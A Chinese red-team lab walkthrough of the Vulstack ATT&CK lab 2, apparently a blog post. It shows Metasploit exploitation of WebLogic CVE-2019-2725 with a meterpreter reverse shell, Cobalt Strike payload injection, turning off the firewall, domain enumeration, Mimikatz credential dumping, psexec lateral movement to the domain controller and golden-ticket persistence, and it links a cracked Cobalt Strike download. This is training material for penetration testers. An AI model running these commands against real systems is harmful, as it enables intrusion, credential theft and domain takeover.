ATT&CK实战系列——红队实战(二)

目录

环境配置

环境说明

信息收集

Nmap进行端口探测

 获得信息

漏洞检测

检测weblogic是否存在漏洞

漏洞利用

CS上线

连接到团队服务器

Windows连接

添加监听器

 MSF派生shell

内网信息收集

内网渗透的简单思路

 内网主机探活+端口扫描

Run Mimikatz

 添加smb监听器

 提权

横向提权

权限维持 


环境配置

首先在VMware->编辑->虚拟网络编辑器里 更改子网ip为192.168.111.0

ATT&CK实战系列——红队实战(二)_第1张图片

ATT&CK实战系列——红队实战(二)_第2张图片

环境说明

  • DC

    IP:10.10.10.10

    OS:Windows 2012

  • WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去)

    IP1:10.10.10.80

    IP2:192.168.111.80

    OS:Windows 2008

  • PC

    IP1:10.10.10.201

    IP2:192.168.111.201

    OS:Windows 7

  • 攻击机

    IP:192.168.111.128

    OS:Kali

内网网段:10.10.10.0/24

DMZ网段:192.168.111.0/24

管理员账号密码:Administrator/1qaz@WSX

先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。

信息收集

Nmap进行端口探测

由于防火墙的存在不能使用icmp包,所以使用syn包探测

nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接

ATT&CK实战系列——红队实战(二)_第3张图片

此外也可通过常用nmap用法进行端口探测

 nmap -A -T4 -v -Pn 192.168.111.80
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息
-Pn 无ping扫描

ATT&CK实战系列——红队实战(二)_第4张图片

 获得信息

中间件:IIS7.5

操作系统:Windows Server 2008 R2

数据库:SQL server (开启了1433端口,SQL server默认端口为1433)

80端口:常见web网站

139端口:对应Samba服务

445端口:对应SMB服务

3389端口:对应开启远程桌面

7001端口:对应存在WebLogic(WebLogic是一种免费的web容器)

漏洞检测

访问80端口

ATT&CK实战系列——红队实战(二)_第5张图片

 nothing at all,什么都没有

访问7001端口

ATT&CK实战系列——红队实战(二)_第6张图片

 看来存在业务

检测weblogic是否存在漏洞

这里利用github上一个weblogic漏洞检测工具——WeblogicScan

 python3 WeblogicScan.py -u 192.168.111.80 -p 7001

ATT&CK实战系列——红队实战(二)_第7张图片

 存在cve-2017-10271、cve-2017-3506、cve-2019-2725、cve-2019-2729历史漏洞

漏洞利用

这里使用CVE-2019-2725(Weblogic反序列化漏洞)

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

打开msf,search cve-2019-2725

set rhosts 192.168.111.80
set lhosts 192.168.111.128
set target Windows
set payload windows/meterpreter/reverse_tcp
msf6 > use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
[*] Using configured payload cmd/unix/reverse_bash

msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set rhosts 192.168.111.80
rhosts => 192.168.111.80
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set lhost 192.168.111.128
lhost => 192.168.111.128
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set target Windows 
target => Windows
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > show options 

Module options (exploit/multi/misc/weblogic_deserialize_asyncresponseservice):

   Name       Current Setting               Required  Description
   ----       ---------------               --------  -----------
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.111.80                yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      7001                          yes       The target port (TCP)
   SSL        false                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /_async/AsyncResponseService  yes       URL to AsyncResponseService
   VHOST                                    no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.111.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows


msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > run

[*] Started reverse TCP handler on 192.168.111.128:4444 
[*] Generating payload...
[*] Sending payload...
[*] Sending stage (175174 bytes) to 192.168.111.80
[*] Meterpreter session 1 opened (192.168.111.128:4444 -> 192.168.111.80:65427 ) at 2022-02-25 07:33:38 -0500

meterpreter > 

漏洞利用成功!

CS上线

CS下载地址:cobalt strike4.4破解版下载|cs4.4|cobalt strike4.4 cracked - 雨苁ℒ

开启团队服务器(一般在Linux中使用)

 ./teamserver 服务器端IP地址 所设置的密码
 ./teamserver 192.168.111.128 1234

ATT&CK实战系列——红队实战(二)_第8张图片

连接到团队服务器

在Linux下,直接运行cobaltstrike.sh(若没有此文件可直接将.bat文件复制一份重命名为.sh文件即可)脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接

点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,随后即可打开CS客户端界面

在Windows下的连接方法也基本一致,直接双击cobaltstrike.bat文件,输入IP、密码、用户名,点击Connect即可

Windows连接

双击cobaltstrike.bat文件

ATT&CK实战系列——红队实战(二)_第9张图片

 ATT&CK实战系列——红队实战(二)_第10张图片

添加监听器

cs客户端新建一个监听器listener

ATT&CK实战系列——红队实战(二)_第11张图片

 添加监听器

ATT&CK实战系列——红队实战(二)_第12张图片

payload选择Beacon

Beacon类型的监听器应该是平时比较常用的

Beacon的类型

  • HTTP 和 HTTPS Beacon

    HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。

    windows/beacon_http/reverse_http
    windows/beacon_https/reverse_https
    
  •  DNS Beacon
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
  • SMB Beacon

SMB Beacon也可以叫做pipe beacon

windows/beacon_smb/bind_pipe

 HTTP地址为当前主机的地址,端口随意指定一个未被占用的端口即可

 MSF派生shell

set session 1 
使用上次的会话1

set lhost 192.168.111.1 
与客户端监听的IP对应

set lport 7777 
与客户端监听的Port对应

set payload windows/meterpreter/reverse_http 
设置http类型的payload,与客户端的payload beacon HTTP相对应

set DisablePayloadHandler true 
设置 DisablePayloadHandler 为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了。
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > use exploit/windows/local/payload_inject 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set session 1
session => 1
msf6 exploit(windows/local/payload_inject) > set lhost 192.168.111.1
lhost => 192.168.111.1
msf6 exploit(windows/local/payload_inject) > set lport 7777
lport => 9090
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
msf6 exploit(windows/local/payload_inject) > show options 

Module options (exploit/windows/local/payload_inject):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   AUTOUNHOOK   false            no        Auto remove EDRs hooks
   PID          0                no        Process Identifier to inject of process to inject payload. 0=New Process
   PPID         0                no        Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
   SESSION      1                yes       The session to run this module on
   WAIT_UNHOOK  5                yes       Seconds to wait for unhook to be executed


Payload options (windows/meterpreter/reverse_http):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.111.1    yes       The local listener hostname
   LPORT     7777             yes       The local listener port
   LURI                       no        The HTTP Path

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Windows



msf6 exploit(windows/local/payload_inject) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Running module against WEB
[*] Spawned Notepad process 3428
[*] Injecting payload into 3428
[*] Preparing 'windows/meterpreter/reverse_http' for PID 3428

ATT&CK实战系列——红队实战(二)_第13张图片

 CS成功上线

内网信息收集

感觉这篇文章写的挺好的1.我所了解的内网渗透 - bmjoker - 博客园

内网渗透的简单思路

1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器
2.收集到了足够多的信息可以扫一下开放端口,确定敏感信息,以及之后渗透的方向
3.通过以上信息进行一定的弱口令尝试,针对特定的软件做banner采集利用,snmp测试读取和写入权限
4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。
6.进行敏感信息挖掘,内网密码收集嗅探,同时清除入侵足迹。

回到靶机上来,我们先判断所拿下的机器处于那个位置、区域,扮演什么角色、测试连通性

ATT&CK实战系列——红队实战(二)_第14张图片

 右键->会话交互

shell ipconfig /all ------ 查询本机IP段,所在域等

ATT&CK实战系列——红队实战(二)_第15张图片

shell net config workstation ------ 当前登录域 

ATT&CK实战系列——红队实战(二)_第16张图片

shell netsh advfirewall set allprofiles state off ----- 关闭防火墙

ATT&CK实战系列——红队实战(二)_第17张图片

shell net view /domain                   ------ 查询域列表

ATT&CK实战系列——红队实战(二)_第18张图片

shell net view                           ------ 查询同一域内机器列表

ATT&CK实战系列——红队实战(二)_第19张图片

shell net user /domain ------查询域内用户  #该命令在本环境中需要在system权限下执行
shell net group "domain admins" /domain        ------ 查询域管理员 

ATT&CK实战系列——红队实战(二)_第20张图片

shell net group "domain controllers" /domain -----查询域控

ATT&CK实战系列——红队实战(二)_第21张图片

 内网主机探活+端口扫描

portscan 10.10.10.0/24

ATT&CK实战系列——红队实战(二)_第22张图片

 信息总结

发现内网网段:10.10.10.0/24

主机名:WEB

域:DE1AY

主DNS后缀:de1ay.com

DNS服务器:10.10.10.10

域控为DC:10.10.10.10

WEB/DC:开启445端口,对应SMB服务,可用来进行提权

Run Mimikatz

ATT&CK实战系列——红队实战(二)_第23张图片

 ATT&CK实战系列——红队实战(二)_第24张图片

由于weblogic启动需要域管理员密码,而本台webserver2008存在内存明文密码的漏洞 故而可知域管理员账密 administrator/1qaz@WSX

 ATT&CK实战系列——红队实战(二)_第25张图片

 添加smb监听器

因为前面DC和WEB都开启445端口,使用smb漏洞进行提权

ATT&CK实战系列——红队实战(二)_第26张图片

 提权

方法一:

ATT&CK实战系列——红队实战(二)_第27张图片

 ATT&CK实战系列——红队实战(二)_第28张图片

 ATT&CK实战系列——红队实战(二)_第29张图片

 方法二:

利用SQL server账号进行psexec传递

ATT&CK实战系列——红队实战(二)_第30张图片

 ATT&CK实战系列——红队实战(二)_第31张图片

 

 成功提升到系统权限

横向提权

设置psexec

psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。

工具栏->可视化->目标列表

ATT&CK实战系列——红队实战(二)_第32张图片

 ATT&CK实战系列——红队实战(二)_第33张图片

 ATT&CK实战系列——红队实战(二)_第34张图片

 

 ATT&CK实战系列——红队实战(二)_第35张图片

 横向提权成功!拿下域控!

权限维持 

在域控获得KRBTGT账户NTLM密码哈希和SID

ATT&CK实战系列——红队实战(二)_第36张图片

 ATT&CK实战系列——红队实战(二)_第37张图片

黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

WEB机 Administrator 权限机器->右键->Access->Golden Ticket
ATT&CK实战系列——红队实战(二)_第38张图片

 这里注意域要填完整加上后缀.com

ATT&CK实战系列——红队实战(二)_第39张图片

 ATT&CK实战系列——红队实战(二)_第40张图片

你可能感兴趣的:(Vulstack,安全)